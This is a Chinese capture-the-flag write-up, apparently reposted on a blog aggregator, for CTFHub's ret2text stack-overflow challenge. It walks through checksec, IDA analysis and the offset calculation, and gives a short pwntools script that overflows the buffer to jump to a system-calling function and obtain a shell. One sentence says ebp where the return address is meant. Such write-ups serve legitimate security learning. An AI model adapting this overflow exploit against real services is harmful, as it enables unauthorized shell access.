PWN做题笔记1-ret2text

PWN做题笔记1-ret2text,第1张

原题位置:CTFHub

题目属于栈溢出

给出了地址和端口,压缩包中有一个二进制程序pwn

file pwn可以看到是64位ELF程序

checksec发现没有开启地址空间随机化机制

程序运行如下:

 ida64反汇编,发现输入没有边界检查,存在注入

secure函数调用了system返回一个服务器里的shell,因此目标是调用这个函数

 

 函数地址如下:

 main函数栈结构如下:

 目标是覆盖掉存储eip的位置,地址偏移为0x70+8,这部分覆盖为“A”,之后ebp覆盖为0x4007B8

因此输入:b'A' * 0x78 + p64(0x4007b8)

 同pwntools编写脚本:

from pwn import *
host = 'challenge-ff699f909c1e3503.sandbox.ctfhub.com'
port = 37126

p = connect(host, port)
payload = b'A' * 0x78 + p64(0x4007b8)
p.sendline(payload)
p.interactive()

运行获取了服务器中的shell,ls发现flag文件,cat获取flag

欢迎分享,转载请注明来源:内存溢出

原文地址:https://outofmemory.cn/yw/993092.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2022-05-21
下一篇2022-05-21

随机推荐

  • 网络语啊痛悟蜡是什么意思

    啊痛悟蜡,网络流行词,是“啊多么痛的领悟”的缩略形式。亦被引申为“啊多么痛的领悟,你为什么用蜡烛滴我”,这种说法是因为,“啊痛悟”后面一般会加个蜡烛的图标表示心情沉痛。来源于辛晓琪的歌曲《领悟》。 2

    2022-12-06
    000
  • 嬴政几岁登基

    秦始皇嬴政是十三岁的时候登基继承的王位。不过那个时候嬴政因为年纪太小的缘故,朝政大权掌控在仲父吕不韦和赵太后的手中。嬴政正式开始亲政是在二十二岁举行成人典礼之后。 秦始皇嬴政是中国历史上具有传奇色彩

    2022-12-06
    000
  • 元曲四大家是哪四位

    元曲四大家是指关汉卿、白朴、郑光祖和马致远,元代著名的杂剧作家。元代时流行杂剧,是戏典的黄金时代。关汉卿的代表作为《窦娥冤》、白朴的代表作为《鸳鸯间墙头马上》、郑光祖代表作为《迷青琐倩女离魂》、马致远

    2022-12-06
    000
  • 晚清四大名臣是谁

    晚清四大名臣是曾国藩、李鸿章、左宗棠和张之洞,还有另一种说法是曾国藩、左宗棠、胡林翼和彭玉麟,他们也被称为晚清中兴名臣,都知道清朝晚期清政府腐败,慈禧太后独断专权,皇帝已经成为可有可无的人,而大臣责任

    2022-12-06
    000
  • 李林甫为什么能当盛唐宰相

    唐玄宗时期正值盛唐,但奸臣李林甫却在这段时间内当了19年宰相,很多人对此感到不理解,觉得李林甫只是依靠阿谀奉承、溜须拍马上位,为何能得到唐玄宗的重用呢?虽然历史上对于李林甫评价基本都以负面为主,不过他

    2022-12-06
    000
  • 庄周是战国时期哪个国家的

    庄周是战国时期宋国人。庄周是战国中期思想家、哲学家、文学家,庄学的创立者,道家学派代表人物,与老子并称老庄。庄子因崇尚自由而不应楚威王之聘,仅担任过宋国地方的漆园吏,史称漆园傲吏,被誉为地方官吏之楷模

    2022-12-06
    000
  • 燕云十六州是怎么丢的

    燕云十六州是石敬瑭割让给契丹的。清泰三年(公元936年)五月,作为河东节度使的石敬瑭反于晋阳,后唐发兵讨伐。石敬瑭求救于契丹,向契丹主耶律德光称臣,并以父礼事之,约定解围称帝事成后制让卢龙一道及雁门关

  • 哪个星座的男生目的性很强

    目的性最强的星座男:1、天秤座:天秤座男人有自己目的性时就会按照自己的节奏去走,不管别人怎么说。2、天蝎座:天蝎座的男人目的性也很强,有时候会为了达到目的不择手段。3、摩羯座:摩羯男做事的目的性都很强

    2022-12-06
    000
  • 人口增长模式的类型

    人口增长模式主要有三种,分别是原始型模式、传统型模式以及现代型模式。一、原始型,又称高高低模式,指的是高出生率,高死亡率,低自然增长率的模式,这种模式主要分布在原始社会和现代非洲个别国家的个别地区。二

    2022-12-06
    000

发表评论

登录后才能评论

评论列表(0条)

    保存